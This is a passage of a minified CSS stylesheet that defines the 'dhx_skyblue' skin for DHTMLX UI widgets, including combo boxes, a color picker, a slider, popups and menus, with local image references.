div.dhxcombo_top_image{position:absolute;left:0;top:0;width:26px;height:22px;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;overflow:hidden;cursor:default;}div.dhxcombolist_dhx_skyblue{position:absolute;font-family:Tahoma,Helvetica;font-size:12px;color:black;border:1px solid #a4bed4;box-shadow:0 2px 3px #ccc;background-color:#e7f1ff;border-bottom-left-radius:2px;border-bottom-right-radius:2px;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;overflow-x:none;overflow-y:auto;-moz-transition:height .15s ease 0s;-webkit-tap-highlight-color:rgba(0,0,0,0);}div.dhxcombolist_dhx_skyblue div.dhxcombo_option{position:relative;font-size:inherit;height:20px;line-height:19px;border-top:1px solid #e7f1ff;border-bottom:1px solid #e7f1ff;vertical-align:middle;overflow:hidden;cursor:default;}div.dhxcombolist_dhx_skyblue div.dhxcombo_option.dhxcombo_option_selected{background-color:#b5deff!important;border-top:1px solid #a1ceed!important;border-bottom:1px solid #a1ceed!important;color:black;}div.dhxcombolist_dhx_skyblue div.dhxcombo_option div.dhxcombo_option_text{position:relative;padding:0 4px;white-space:nowrap;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}div.dhxcombolist_dhx_skyblue div.dhxcombo_option div.dhxcombo_option_text.dhxcombo_option_text_chbx{position:relative;padding:0 4px 0 4px;margin-left:20px;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;white-space:nowrap;}div.dhxcombolist_dhx_skyblue div.dhxcombo_option div.dhxcombo_checkbox{position:absolute;left:1px;top:1px;width:20px;height:20px;background-image:url(\"imgs/dhxcombo_skyblue/dhxcombo_chbx.gif\");background-repeat:no-repeat;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;overflow:hidden;cursor:default;}div.dhxcombolist_dhx_skyblue div.dhxcombo_option div.dhxcombo_checkbox.dhxcombo_chbx_0{background-position:0 0;}div.dhxcombolist_dhx_skyblue .dhxcombo_option div.dhxcombo_checkbox.dhxcombo_chbx_1{background-position:-18px 0;}div.dhxcombolist_dhx_skyblue div.dhxcombo_option div.dhxcombo_option_text.dhxcombo_option_text_image{position:relative;padding:0 4px 0 4px;margin-left:20px;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;white-space:nowrap;}div.dhxcombo_dhx_skyblue div.dhxcombo_top_image div.dhxcombo_image,div.dhxcombolist_dhx_skyblue div.dhxcombo_option div.dhxcombo_image{position:absolute;left:3px;top:1px;width:20px;height:20px;background-repeat:no-repeat;background-position:center center;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;overflow:hidden;cursor:default;}div.dhxcombo_dhx_skyblue.dhxcombo_disabled{border:1px solid #ccc;background-color:#fafafa;}div.dhxcombo_dhx_skyblue.dhxcombo_disabled input.dhxcombo_input{color:#b2b2b2;background-color:#fafafa;}div.dhxcombo_dhx_skyblue.dhxcombo_disabled div.dhxcombo_select_button{border-color:#ccc;background-color:#fefefe;background:linear-gradient(#fefefe,#f4f4f4);background:-webkit-linear-gradient(#fefefe,#f4f4f4);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#fefefe,endColorStr=#f4f4f4) progid:DXImageTransform.Microsoft.Alpha(opacity=100);cursor:default;}div.dhxcombo_dhx_skyblue.dhxcombo_disabled div.dhxcombo_select_button div.dhxcombo_select_img{background-image:url(\"imgs/dhxcombo_skyblue/dhxcombo_arrow_down_dis.gif\");}.dhxgrid_combo_icon{position:absolute;top:0;right:0;z-index:1;}div.dhxcombo_in_grid_parent{position:relative;height:100%;top:0;}div.dhxcombo_in_grid_parent div.dhxcombo_dhx_skyblue{position:absolute;top:0;left:-4px;*top:-2px;*height:23px;}div.dhxcombo_in_grid_parent input.dhxcombo_input{border-left:2px solid white;font-family:Arial;font-size:12px;*margin-top:-3px;*height:18px;*line-height:17px;}div.dhxcombolist_dhx_skyblue.dhxcombolist_hdr{border-bottom-width:0;height:27px;line-height:27px;box-shadow:none;border-bottom-left-radius:0;border-bottom-right-radius:0;background-color:#e2efff;background:linear-gradient(#e2efff,#d3e7ff);background:-webkit-linear-gradient(#e2efff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e2efff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);}div.dhxcombolist_dhx_skyblue.dhxcombolist_hdr div.dhxcombo_hdrtext{position:relative;padding:0;white-space:nowrap;cursor:default;font-family:Tahoma,Helvetica;font-size:11px;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}div.dhxcombolist_dhx_skyblue.dhxcombolist_hdr div.dhxcombo_hdrtext div.dhxcombo_hdrcell,div.dhxcombolist_dhx_skyblue.dhxcombolist_hdr div.dhxcombo_hdrtext div.dhxcombo_hdrcell_first{float:left;white-space:nowrap;overflow:hidden;position:relative;z-index:2;border-left:1px solid #a4bed4;padding:0;margin:0;}div.dhxcombolist_dhx_skyblue.dhxcombolist_hdr div.dhxcombo_hdrtext div.dhxcombo_hdrcell_first,div.dhxcombolist_dhx_skyblue.dhxcombolist_hdr div.dhxcombo_hdrtext div.dhxcombo_hdrcell:first-child{border-left-width:0;}div.dhxcombolist_dhx_skyblue.dhxcombolist_multicolumn div.dhxcombo_option{height:24px;line-height:24px;margin-top:-1px;z-index:0;border-top:1px solid #d3e7ff;border-bottom:1px solid #d3e7ff;background-color:white;}div.dhxcombolist_dhx_skyblue.dhxcombolist_multicolumn div.dhxcombo_option:last-child{border-bottom-color:white;}div.dhxcombolist_dhx_skyblue.dhxcombolist_multicolumn div.dhxcombo_option div.dhxcombo_option_text{padding:0;}div.dhxcombolist_dhx_skyblue.dhxcombolist_multicolumn div.dhxcombo_option div.dhxcombo_cell,div.dhxcombolist_dhx_skyblue.dhxcombolist_multicolumn div.dhxcombo_option div.dhxcombo_cell_first{float:left;white-space:nowrap;overflow:hidden;position:relative;border-left:1px solid #d3e7ff;padding:0;margin:0;}div.dhxcombolist_dhx_skyblue.dhxcombolist_multicolumn div.dhxcombo_option div.dhxcombo_cell_first,div.dhxcombolist_dhx_skyblue.dhxcombolist_multicolumn div.dhxcombo_option div.dhxcombo_cell:first-child{border-left-width:0;}div.dhxcombolist_dhx_skyblue.dhxcombolist_multicolumn div.dhxcombo_option.dhxcombo_option_selected{z-index:1;}div.dhxcombolist_dhx_skyblue.dhxcombolist_multicolumn div.dhxcombo_option.dhxcombo_option_selected div.dhxcombo_cell{border-left-color:#b5deff;}div.dhxcombolist_dhx_skyblue.dhxcombolist_multicolumn div.dhxcombo_option div.dhxcombo_cell_text,div.dhxcombolist_dhx_skyblue.dhxcombolist_hdr div.dhxcombo_hdrtext div.dhxcombo_hdrcell_text{position:relative;margin:0 10px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:auto;}.dhxcombo_skin_detect{position:absolute;left:0;top:-100px;margin:0;padding:0;border:0 solid white;width:10px;height:10px;overflow:hidden;}.dhxcolorpicker_skin_detect{position:absolute;left:0;top:-100px;margin:0;padding:0;border:0 solid white;width:10px;height:10px;overflow:hidden;}.dhtmlxcp_dhx_skyblue .dhxcp_g_area{position:absolute;width:254px;height:272px;border:1px solid #a4bed4;background-color:#e7f1ff;}.dhtmlxcp_dhx_skyblue .dhxcp_add_memory{height:317px!important;}.dhtmlxcp_dhx_skyblue .dhxcp_sub_area{margin:1px;width:252px;height:270px;background-color:#e7f1ff;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhtmlxcp_dhx_skyblue .dhxcp_add_memory .dhxcp_sub_area{height:229px!important;}.dhtmlxcp_dhx_skyblue .dhxcp_g_color_area{padding:10px;width:232px;height:122px;margin:0;}.dhtmlxcp_dhx_skyblue .dhxcp_color_selector{position:absolute;width:210px;height:120px;background-image:url(\"imgs/dhxcp_skyblue/dhxcp_colors.png\");background-repeat:no-repeat;border:1px solid #a4bed4;cursor:pointer;float:left;}.dhtmlxcp_dhx_skyblue .dhxcp_contrast_area{border:1px solid #a4bed4;position:relative;height:120px;width:10px;cursor:pointer;float:right;}.dhtmlxcp_dhx_skyblue .dhxcp_ie_gradient{height:120px;width:10px;margin:0;}.dhtmlxcp_dhx_skyblue .dhxcp_color_selector .dhxcp_v_line{position:absolute;width:0;height:120px;border-left:1px solid #fff;cursor:pointer;overflow:hidden;}.dhtmlxcp_dhx_skyblue .dhxcp_color_selector .dhxcp_h_line,.dhtmlxcp_dhx_skyblue .dhxcp_contrast_area .dhxcp_h_line{position:absolute;height:0;border-top:1px solid #fff;cursor:pointer;overflow:hidden;}.dhtmlxcp_dhx_skyblue .dhxcp_color_selector .dhxcp_h_line{width:210px;}.dhtmlxcp_dhx_skyblue .dhxcp_contrast_area .dhxcp_h_line{width:10px;}.dhtmlxcp_dhx_skyblue .dhxcp_g_input_area{padding:0 10px;width:232px;height:78px;margin:0;}.dhtmlxcp_dhx_skyblue .dhxcp_value_cont{width:60px;height:82px;float:left;}.dhtmlxcp_dhx_skyblue .dhxcp_value_color{width:56px;height:30px;border:1px solid #a4bed4;}.dhtmlxcp_dhx_skyblue .dhxcp_value{width:49px;height:20px;border:1px solid #a4bed4;border-radius:0;background-color:white;margin:5px 0 0 0;padding:1px 3px;font-family:Tahoma,Helvetica;font-size:11px;color:black;text-align:left;}.dhtmlxcp_dhx_skyblue .dhxcp_inputs_cont{border:none;border-spacing:0;width:161px;height:78px;float:right;}.dhtmlxcp_dhx_skyblue .dhxcp_label_hsl,.dhtmlxcp_dhx_skyblue .dhxcp_label_rgb{font-family:Tahoma,Helvetica;font-size:11px;color:black;text-align:right;padding:0 3px 0 0;}.dhtmlxcp_dhx_skyblue td.dhxcp_input_hsl,.dhtmlxcp_dhx_skyblue td.dhxcp_input_rgb{width:27px;border:none;padding:3px 0;margin:0;}.dhtmlxcp_dhx_skyblue input.dhxcp_input_hsl,.dhtmlxcp_dhx_skyblue input.dhxcp_input_rgb{width:25px;height:19px;border:1px solid #a4bed4;border-radius:0;background-color:white;font-family:Tahoma,Helvetica;font-size:11px;color:black;text-align:right;padding:0 3px;line-height:18px;}.dhtmlxcp_dhx_skyblue .dhxcp_g_memory_area{width:232px;height:0;overflow:hidden;border-top:1px solid #fff;margin:10px;}.dhtmlxcp_dhx_skyblue .dhxcp_memory_button_cont{width:232px;margin:0;height:24px;}.dhtmlxcp_dhx_skyblue button{outline:none;border-radius:2px;border:1px solid #a4bed4;font-family:Tahoma,Helvetica;font-size:11px;color:black;padding:0;background-color:#e2efff;background:linear-gradient(#e2efff,#d3e7ff);background:-webkit-linear-gradient(#e2efff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e2efff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);}.dhtmlxcp_dhx_skyblue button:hover{background-color:#f1f7ff;background:linear-gradient(#f1f7ff,#e2efff);background:-webkit-linear-gradient(#f1f7ff,#e2efff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#f1f7ff,endColorStr=#e2efff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);}.dhtmlxcp_dhx_skyblue button:active{background-color:#d2e7fe;background:linear-gradient(#d2e7fe,#d3e7ff);background:-webkit-linear-gradient(#d2e7fe,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#d2e7fe,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);box-shadow:0 0 3px #ccc inset;}.dhtmlxcp_dhx_skyblue .dhxcp_save_to_memory{width:232px;height:24px;}.dhtmlxcp_dhx_skyblue .dhxcp_save_to_memory .dhxcp_label_bm{background-image:url(\"imgs/dhxcp_skyblue/dhxcp_icon_save.png\");background-repeat:no-repeat;display:inherit;padding-left:15px;background-position:0 4px;height:18px;line-height:18px;width:80px;margin:1px auto;white-space:nowrap;text-align:left;}.dhtmlxcp_dhx_skyblue .dhxcp_memory_els_cont{width:232px;height:25px;margin-top:3px;text-align:center;}.dhtmlxcp_dhx_skyblue .dhxcp_memory_el{width:24px;height:24px;background-color:#fff;border:1px solid #a4bed4;display:inline-block;margin:0 1px;}.dhtmlxcp_dhx_skyblue .dhxcp_memory_el_select{border:1px dashed black!important;}.dhtmlxcp_dhx_skyblue .dhxcp_memory_el_next{border:1px dashed red!important;}.dhtmlxcp_dhx_skyblue .dhxcp_add_memory .dhxcp_g_memory_area{height:55px!important;border-top:none!important;margin:5px 10px 5px 10px;}.dhtmlxcp_dhx_skyblue .dhxcp_buttons_area{padding:0 10px;width:232px;height:26px;text-align:right;margin:0;}.dhtmlxcp_dhx_skyblue .dhx_button_save,.dhtmlxcp_dhx_skyblue .dhx_button_cancel{padding:2px 10px;margin:1px;height:24px;line-height:12px;overflow:hidden;text-align:center;}.dhxcp_colorBox{float:right;}.dhxcp_colorInput{float:left;}.dhxcp_frm{position:absolute;background-color:white;opacity:0;filter:progid:DXImageTransform.Microsoft.Alpha(opacity=0);width:256px;height:274px;}.dhtmlxcp_dhx_skyblue.dhtmlxcp_in_form .dhxcp_g_area{padding:5px;border:1px solid #a4bed4;box-shadow:0 0 9px rgba(0,0,0,0.35);}.dhtmlxslider_dhx_skyblue{z-index:0;}.dhtmlxslider_dhx_skyblue .dhxsl_hidden{display:none;}.dhtmlxslider_dhx_skyblue .dhxsl_container{position:relative;float:left;clear:left;margin:0;padding:1px;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;-webkit-tap-highlight-color:rgba(0,0,0,0);}.dhtmlxslider_dhx_skyblue .dhxsl_container.dhxsl_cont_hr{margin-top:6px;}.dhtmlxslider_dhx_skyblue .dhxsl_container.dhxsl_cont_vr{margin-left:6px;}.dhtmlxslider_dhx_skyblue .dhxsl_runner{position:absolute;width:16px;height:16px;margin:0;padding:0;overflow:hidden;border:1px solid #a4bed4;background-color:#f1f7ff;background:linear-gradient(#f1f7ff,#e2efff);background:-webkit-linear-gradient(#f1f7ff,#e2efff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#f1f7ff,endColorStr=#e2efff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);border-radius:2px;-webkit-touch-callout:none;-webkit-user-select:none;-ms-touch-action:none;z-index:1;}.dhtmlxslider_dhx_skyblue .dhxsl_runner.dhxsl_runner_actv{background-color:#e2efff;background:linear-gradient(#e2efff,#d3e7ff);background:-webkit-linear-gradient(#e2efff,#d3e7ff);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e2efff,endColorStr=#d3e7ff) progid:DXImageTransform.Microsoft.Alpha(opacity=100);z-index:2;}.dhtmlxslider_dhx_skyblue .dhxsl_runner_dis{border-color:#c9c9c9;background-color:#e8e8e8;background:linear-gradient(#e8e8e8,#dedede);background:-webkit-linear-gradient(#e8e8e8,#dedede);filter:progid:DXImageTransform.Microsoft.Gradient(gradientType=0,startColorStr=#e8e8e8,endColorStr=#dedede) progid:DXImageTransform.Microsoft.Alpha(opacity=100);}.dhtmlxslider_dhx_skyblue .dhxsl_track{margin:0;padding:0;overflow:hidden;border:1px solid #a4bed4;position:relative;border-radius:2px;background-color:white;-webkit-touch-callout:none;-webkit-user-select:none;-ms-touch-action:none;}.dhtmlxslider_dhx_skyblue .dhxsl_track div.dhxsl_track_bg{position:absolute;background-color:#e7f1ff;font-size:1px;overflow:hidden;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhtmlxslider_dhx_skyblue .dhxsl_cont_vr .dhxsl_track{height:100%;width:3px;}.dhtmlxslider_dhx_skyblue .dhxsl_cont_vr .dhxsl_track div.dhxsl_track_bg{left:0;width:100%;}.dhtmlxslider_dhx_skyblue .dhxsl_cont_hr .dhxsl_track{width:100%;height:3px;}.dhtmlxslider_dhx_skyblue .dhxsl_cont_hr .dhxsl_track div.dhxsl_track_bg{top:0;height:100%;}.dhtmlxslider_dhx_skyblue .dhxsl_track_dis{border:1px solid #c9c9c9;background-color:#f0f0f0;}.dhtmlxslider_dhx_skyblue .dhxsl_track_dis div.dhxsl_track_bg{position:absolute;background-color:#d0d0d0;}.dhxslider_skin_detect{position:absolute;left:0;top:-100px;border:0 solid white;width:10px;height:10px;margin:0;padding:0;overflow:hidden;}div.dhx_popup_dhx_skyblue{-webkit-tap-highlight-color:rgba(0,0,0,0);position:absolute;}div.dhx_popup_dhx_skyblue div.dhx_popup_area{position:relative;margin:10px;padding:3px 0;border:1px solid #a4bed4;box-shadow:0 0 3px #ccc;background-color:#e7f1ff;border-radius:2px;}div.dhx_popup_dhx_skyblue div.dhx_popup_area td.dhx_popup_td{font-family:Tahoma,Helvetica;font-size:11px;color:black;text-align:left;vertical-align:middle;padding:0 8px;height:24px;line-height:23px;border-top:1px solid #e7f1ff;border-bottom:1px solid #e7f1ff;white-space:nowrap;cursor:default;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}div.dhx_popup_dhx_skyblue div.dhx_popup_area td.dhx_popup_td div.dhtmlxcalendar_dhx_skyblue{position:relative;float:left;}div.dhx_popup_dhx_skyblue div.dhx_popup_area td.dhx_popup_td *{white-space:normal;}div.dhx_popup_dhx_skyblue div.dhx_popup_area tr.dhx_popup_sep td.dhx_popup_sep{font-size:1px;padding:2px 0;position:relative;}div.dhx_popup_dhx_skyblue div.dhx_popup_area tr.dhx_popup_sep td.dhx_popup_sep div.dhx_popup_sep{position:relative;font-size:1px;line-height:1px;height:0;width:100%;border-top:1px solid #a4bed5;overflow:hidden;}div.dhx_popup_dhx_skyblue div.dhx_popup_area td.dhx_popup_td:first-child{padding-left:16px;}div.dhx_popup_dhx_skyblue div.dhx_popup_area td.dhx_popup_td:last-child{padding-right:16px;}div.dhx_popup_dhx_skyblue div.dhx_popup_area tr:hover td.dhx_popup_td{background-color:#b5d8ff;border-top:1px solid #8dcef4;border-bottom:1px solid #8dcef4;}div.dhx_popup_dhx_skyblue div.dhx_popup_area tr.dhxnode:hover td.dhx_popup_td{background:none;border-top:1px solid #e7f1ff;border-bottom:1px solid #e7f1ff;}div.dhx_popup_dhx_skyblue div.dhx_popup_area tr.dhxnode td.dhx_popup_td{padding-top:8px!important;padding-bottom:8px!important;height:auto;line-height:inherit;-webkit-user-select:text;-khtml-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}div.dhx_popup_dhx_skyblue div.dhx_popup_area tr.dhxnode td.dhx_popup_td .dhtmlxcalendar_container.dhtmlxcalendar_skin_dhx_skyblue{position:relative!important;background-image:none;}div.dhx_popup_dhx_skyblue div.dhx_popup_area tr.dhxnode td.dhx_popup_td div.dhxtree_dhx_skyblue{background:none;}div.dhx_popup_dhx_skyblue div.dhx_popup_area tr.dhxnode td.dhx_popup_td div.dhxeditor_dhx_skyblue{border:1px solid #a4bed4;}div.dhx_popup_dhx_skyblue div.dhx_popup_area tr.dhxnode td.dhx_popup_td .dhxform_obj_dhx_skyblue div.dhxeditor_dhx_skyblue{border-width:0;}div.dhx_popup_dhx_skyblue div.dhx_popup_area tr.dhxnode td.dhx_popup_td div.dhtmlxcp_dhx_skyblue div.dhxcp_g_area{position:relative;background-color:#e7f1ff;border:0 solid white;}div.dhx_popup_dhx_skyblue div.dhx_popup_area tr.dhxnode td.dhx_popup_td div.dhtmlxcp_dhx_skyblue div.dhxcp_g_area div.dhxcp_sub_area{background:#e7f1ff;}div.dhx_popup_dhx_skyblue div.dhx_popup_area tr.dhxnode td.dhx_popup_td div.dhxcarousel_cont{background-color:#e7f1ff;}div.dhx_popup_dhx_skyblue div.dhx_popup_area.dhx_popup_area_ie{box-shadow:0 0 6px #ccc;}div.dhx_popup_dhx_skyblue div.dhx_popup_area.dhx_popup_area_ie tr.dhxnode td.dhx_popup_td{height:1em;line-height:1em;}div.dhx_popup_dhx_skyblue div.dhx_popup_area.dhx_popup_area_ie td.dhx_popup_td.dhx_popup_td_single{padding-left:16px;padding-right:16px;}div.dhx_popup_dhx_skyblue div.dhx_popup_area.dhx_popup_area_ie td.dhx_popup_td.dhx_popup_td_first{padding-left:16px;}div.dhx_popup_dhx_skyblue div.dhx_popup_area.dhx_popup_area_ie td.dhx_popup_td.dhx_popup_td_last{padding-right:16px;}div.dhx_popup_dhx_skyblue div.dhx_popup_area.dhx_popup_area_ie tr.tr_hover td.dhx_popup_td{background-color:#b5d8ff;border-top:1px solid #8dcef4;border-bottom:1px solid #8dcef4;}div.dhx_popup_dhx_skyblue div.dhx_popup_arrow{position:absolute;background-repeat:no-repeat;}div.dhx_popup_dhx_skyblue div.dhx_popup_arrow.dhx_popup_arrow_bottom{width:19px;height:16px;background-image:url(\"imgs/dhxpopup_skyblue/dhxpopup_arrow_bottom.gif\");background-position:top center;}div.dhx_popup_dhx_skyblue div.dhx_popup_arrow.dhx_popup_arrow_top{width:19px;height:16px;background-image:url(\"imgs/dhxpopup_skyblue/dhxpopup_arrow_top.gif\");background-position:bottom center;}div.dhx_popup_dhx_skyblue div.dhx_popup_arrow.dhx_popup_arrow_right{width:16px;height:19px;background-image:url(\"imgs/dhxpopup_skyblue/dhxpopup_arrow_right.gif\");background-position:center left;}div.dhx_popup_dhx_skyblue div.dhx_popup_arrow.dhx_popup_arrow_left{width:16px;height:19px;background-image:url(\"imgs/dhxpopup_skyblue/dhxpopup_arrow_left.gif\");background-position:center right;}div.dhx_popup_skin_detect{position:absolute;left:0;top:-100px;margin:0;padding:0;border:0 solid white;width:10px;height:10px;overflow:hidden;}.dhxmenu_skin_detect{position:absolute;left:0;top:-100px;margin:0;padding:0;border:0 solid white;width:10px;height:10px;overflow:hidden;}.dhtmlxMenu_dhx_skyblue_Middle{position:relative;height:30px;border:none;overflow:hidden;background-color:#ebebeb;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhtmlxMenu_dhx_skyblue_Middle div.top_sep{float:left;position:relative;height:22px;width:0;border-left:1px solid #ddd;margin:4px 2px 0 0;line-height:1px;font-size:1px;overflow:hidden;cursor:default;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dhtmlxMenu_dhx_skyblue_Middle img.dhtmlxMenu_TopLevel_Item_Icon{float:left;margin:2px 3px 0 3px;width:18px;height:18px;}.dhtmlxMenu_dhx_skyblue_Middle div.dhtmlxMenu_TopLevel_Text_right{position:absolute;top:8px;left:none;right:8px;font-family:Tahoma,Helvetica;font-size:11px;color:black;cursor:default;}.dhtmlxMenu_dhx_skyblue_Middle div.dhtmlxMenu_TopLevel_Text_left{position:absolute;top:8px;right:none;left:8px;font-family:Tahoma,Helvetica;font-size:11px;color:black;cursor:default;}.dhtmlxMenu_dhx_skyblue_Middle.dir_left div.align_left{float:left;}.dhtmlxMenu_dhx_skyblue_Middle.dir_left div.align_right{float:right;}div.dhtmlxMenu_dhx_skyblue_TopLevel_Item_Normal,div.dhtmlxMenu_dhx_skyblue_TopLevel_Item_Disabled,div.dhtmlxMenu_dhx_skyblue_TopLevel_Item_Selected{position:relative;float:left;font-family:Tahoma,Helvetica;font-size:11px;color:black;cursor:default;white-space:nowrap;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;height:22px;line-height:22px;vertical-align:middle;margin:3px 2px 0 0;padding:0 3px;}div.dhtmlxMenu_dhx_skyblue_TopLevel_Item_Normal div.top_level_text,div.dhtmlxMenu_dhx_skyblue_TopLevel_Item_Disabled div.top_level_text,div.dhtmlxMenu_dhx_skyblue_TopLevel_Item_Selected div.top_level_text{float:left;margin:0 3px;}div.dhtmlxMenu_dhx_skyblue_TopLevel_Item_Normal,div.dhtmlxMenu_dhx_skyblue_TopLevel_Item_Disabled{border:1px solid #ebebeb;}div.dhtmlxMenu_dhx_skyblue_TopLevel_Item_Disabled{color:#999!important;}div.dhtmlxMenu_dhx_skyblue_TopLevel_Item_Selected{border:1px solid #a1ceed;background-color:#b5deff;color:black;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon{position:absolute;border:1px solid #a4bed4;box-shadow:0 0 3px #ccc;padding:3px 0;border-bottom-left-radius:2px;border-bottom-right-radius:2px;border-top-right-radius:2px;background-color:#e7f1ff;overflow:hidden;cursor:default;line-height:normal;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl td{font-family:Tahoma,Helvetica;font-size:11px;color:black;line-height:normal;padding:0 3px;border-top:1px solid #e7f1ff;border-bottom:1px solid #e7f1ff;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl tr.sub_item_selected td{background-color:#b5deff;border-top:1px solid #a1ceed;border-bottom:1px solid #a1ceed;color:black;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl tr.sub_item_selected div.sub_item_hk{color:#333!important;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl td.sub_item_icon{width:18px;text-align:center;vertical-align:middle;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl td.sub_item_icon img.sub_icon{float:left;margin:0;width:18px;height:18px;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl div.sub_item_text{padding:0 12px 0 1px;height:22px;line-height:21px;white-space:nowrap;text-align:left;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl tr.sub_item_dis div.sub_item_text{color:#999!important;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl td.sub_item_hk{padding-left:8px;padding-right:8px;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl td.sub_item_hk div.sub_item_hk{font-family:Tahoma,Helvetica;font-size:10px;color:#4d4d4d;text-align:right;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl tr.sub_item_dis td.sub_item_hk div.sub_item_hk{color:#9b9b9b!important;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl div.complex_arrow{width:4px;margin:0 2px 0 5px;height:22px;background-image:url(\"imgs/dhxmenu_skyblue/dhxmenu_subar.gif\");background-repeat:no-repeat;background-position:0 0;overflow:hidden;font-size:1px;float:right;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl tr.sub_item_selected div.complex_arrow{background-position:-4px 0!important;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl tr.sub_item_dis div.complex_arrow{background-position:-8px 0!important;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl div.complex_arrow_loading{width:11px;height:22px;background-position:center center;background-repeat:no-repeat;background-image:url(\"imgs/dhxmenu_skyblue/dhxmenu_loader.gif\");float:right;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl div.sub_icon{float:left;margin:0;width:18px;height:18px;background-position:top right;background-repeat:no-repeat;background-image:url(\"imgs/dhxmenu_skyblue/dhxmenu_chrd.gif\");}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl div.sub_icon.chbx_0{background-position:0 0!important;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl div.sub_icon.chbx_1{background-position:-18px 0!important;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl tr.sub_item_dis div.sub_icon.chbx_0{background-position:-36px 0!important;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl tr.sub_item_dis div.sub_icon.chbx_1{background-position:-54px 0!important;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl div.sub_icon.rdbt_0{background-position:-72px 0!important;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl div.sub_icon.rdbt_1{background-position:-90px 0!important;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl tr.sub_item_dis div.sub_icon.rdbt_0{background-position:-108px 0!important;}div.dhtmlxMenu_dhx_skyblue_SubLevelArea_Polygon table.dhtmlxMebu_SubLevelArea_Tbl tr.sub_item_dis 